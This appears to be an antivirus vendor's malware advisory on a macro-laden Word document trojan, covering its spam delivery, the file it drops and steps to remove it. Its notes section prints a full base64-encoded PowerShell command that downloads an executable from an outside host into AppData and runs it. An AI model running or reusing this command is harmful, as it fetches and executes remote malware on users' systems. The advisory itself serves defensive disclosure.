Analysis by: Augusto II Remillano
ALIASES:

Trojan-Downloader.PS.Agent (Ikarus)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Downloaded from the Internet, Dropped by other malware

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 81,408 bytes
File Type: DOC
Memory Resident: No
Initial Samples Received Date: 27 Nov 2018
Payload: Connects to URLs/IPs, Downloads files, Displays message/message boxes, Executes files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}brer.com/QIC/tewokl.php?l=vunx2.spr

It saves the files it downloads using the following names:

  • %Application Data%\57201b0a.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, and 8.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

NOTES:

  • The document contains the following message details luring users to enable macro content:

  • This Trojan uses the following PowerShell commands to download and execute a malicious file:
    poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBvAHgAYQBnAGcAZQBiAHIAZQByAC4AYwBvAG0ALwBRAEkAQwAvAHQAZQB3AG8AawBsAC4AcABoAHAAPwBsAD0AdgB1AG4AeAAyAC4AcwBwAHIAIgAsACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcADUANwAyADAAMQBiADAAYQAuAGUAeABlACcAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwANQA3ADIAMAAxAGIAMABhAC4AZQB4AGUAJwA7ACAARQB4AGkAdAA=

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.652.03
FIRST VSAPI PATTERN DATE: 27 Nov 2018
VSAPI OPR PATTERN File: 14.653.00
VSAPI OPR PATTERN Date: 28 Nov 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Application Data%\57201b0a.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as W2KM_POWLOAD.TIHAOHAP. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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